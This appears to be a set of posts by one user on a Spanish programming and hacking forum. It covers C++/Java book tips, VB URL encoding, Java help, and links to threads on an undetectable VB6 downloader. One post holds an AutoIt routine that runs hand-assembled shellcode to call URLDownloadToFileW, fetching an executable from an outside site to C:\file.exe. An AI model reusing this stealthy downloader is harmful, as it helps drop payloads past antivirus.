Mensajes

Claro con eso puedes empezar el computador el lo de menos, lo mas importante son las ganas, yo uso una Pentium III,

Pues hay muchos libros en ,a web  y muchas "webs"

te recomiendo entos libros.

Pensando en C++
Aprende C++ como si estubieran en 6 grado "algo asi no recuerdo bien :S"
Como.Programar.en.C.C.Plus.Plus.-.Deitel.Prentice-Hall
Para Java.
COMO PROGRAMAR JAVA - DEITEL
Aprenda Java como si estuviera en primero

saludos

Conoces algo mejor en VB? XD

Saludos

no se si mejores pero si buenos como el Cobein-BlackZeroX (Astaroth).


P: pensé que -BlackZeroX (Astaroth) y vos eran el mismo :S


he aprendido mucho de todos ustedes. saludos [Zero].

ahí te puso los links :S



http://foro.elhacker.net/analisis_y_diseno_de_malware/srcvb6_downloader_fud_d-t290080.0.html
http://foro.elhacker.net/programacion_vb/asmvb6invoke_llamas_apis_sin_declararlas_kinvokebas-t290072.0.html
http://foro.elhacker.net/programacion_visual_basic/vb6snippet_mapipatchbyid_carga_apis_dinamicamente_late_binding-t325473.0.html

que casualidad los códigos son de Karcrack  capo

Aquí esta el Encode   creo que es lo que se quiere, al rato traigo el Decode

Código (vb) [Seleccionar] Expandir

Function URLEncode(url As String) As String
Dim sp() As Byte
Dim final As String

sp() = StrConv(url, vbFromUnicode)

For i = 0 To UBound(sp)

Select Case sp(i)

   Case 45, 46, 48 To 57, 65 To 90, 95, 97 To 122, 126
        final = final & Chr(sp(i))
     
   Case 32
       final = final & "+"
 
  Case Else
          final = final & "%" & Hex(sp(i))
End Select

Next
URLEncode= final
End Function

Edito:

aqui esta el Decode.

Código (vb) [Seleccionar] Expandir

Function URLDecode(url As String) As String
Dim spl() As String
Dim final As String
Dim str As String
str = Replace(url, "+", " ")
spl() = Split(str, "%")
final = spl(0)
For i = 1 To UBound(spl)
final = final & Chr(CLng("&H" & Left(spl(i), 2))) & Mid(spl(i), 3)
Next
URLDecode = final
End Function

saludos

PD: lo hice a base de uno que vi en Autoit

Bueno aquí les dejo la versión en Autoit de la que hice en delphi.

Código [Seleccionar] Expandir


#cs -------------------------------------------------------
AutoIt Version: 3.3.8.1
Traducido Por..........: Pink
Agradecimientos........: monoceres
Version Delphi por........:  Pink
Script Function...: Download
Uso..............:Download($urlfile,$pathtosave)
#ce -------------------------------------------------------

Download("http://whitehat.su/Anotador.exe","C:\file.exe")
Func Download($Url,$path)
local $bytes = DllStructCreate("byte[512]")
local $Address= DllCall("Kernel32.dll", "ptr", "GetProcAddress", "ptr",GetModuleHandle("urlmon.dll"), "str", "URLDownloadToFileW")
$Address= $Address[0]
Local $Bufferurl = DllStructCreate("wchar url[" & StringLen($Url) +1 & "]")
Local $Bufferpath = DllStructCreate("wchar path[" & StringLen($path) +1  & "]")
    DllStructSetData($Bufferurl, "url", $Url)
    DllStructSetData($Bufferpath, "path", $path)

Local $Opcode
$Opcode &= "0x"
$Opcode &= "33DB"
$Opcode &= "68" & SwapEndian(0)
$Opcode &= "68" & SwapEndian(0)
$Opcode &= "68" & SwapEndian(DllStructGetPtr($Bufferpath, 1))
$Opcode &= "68" & SwapEndian(DllStructGetPtr($Bufferurl, 1))
$Opcode &= "68" & SwapEndian(0)
$Opcode &= "B8" & SwapEndian($Address)
$Opcode &= "FFD0"
$Opcode &= "53"
$Opcode &= "58"
$Opcode &= "C3"
DllStructSetData($bytes, 1, $Opcode)
Local $Ret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", DllStructGetPtr($bytes), "int", 0, "int", 0, "int", 0, "int", 0)
EndFunc

Func GetModuleHandle($sModuleName)
Local $sModuleNameType = "wstr"
If $sModuleName = "" Then
  $sModuleName = 0
  $sModuleNameType = "ptr"
EndIf
Local $aResult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $sModuleNameType, $sModuleName)
If @error Then Return SetError(@error, @extended, 0)
Return $aResult[0]
EndFunc ;==>GetModuleHandle WinAPI

Func SwapEndian($hex)
    Return Hex(Binary($hex))
EndFunc   ;==>SwapEndian



Saludos

No te apresures aquí hay muchas personas que te pueden ayudar pero que quizás estén ocupadas.

voy a ver el código tal vez puedo hacer algo.

quizás se daño el cristal oscilador. sino :S dala por muerta sin no sabes electrónica avanzada.

funciona, muchas gracias 

de nada, gracias a vos por hacerme tocar un poco Java jaja  veré si lo descargo. para aprender. saludos

pues como te dije no se nada de java jaja,

lo mas probables es que tengas que hacer trim porque recuerda que al hacer split también se cuentan los espacios.

proba así.

Código (java) [Seleccionar] Expandir

public class ejer3pdf {

    public static void main(String[] args) {
    String[] lista;
    String mes;

    String cadena = "20 de enero de 1968";
    lista = cadena.split("de");
    mes= lista[1].trim();
//si no proba asi switch ( mes.trim() ) {
    switch ( mes ) {
         case "enero":
              System.out.println(lista[0] + "/" + "01" +"/"+lista[2]);
              break;
         case "marzo":
              System.out.println( lista[0] + "/" + "1" +"/"+lista[2]);
              break;
         case "febrero":
              System.out.println( lista[0] + "/" + "2" +"/"+lista[2]);
              break;
         case "mayo":
              System.out.println( lista[0] + "/" + "4" +"/"+lista[2] );
              break;
         default:
              System.out.println("error" );
              break;
         }
    }


pues si quieres coger la idea te recomiendo que estudies ASM es lo mejor para lo que quieres. saludos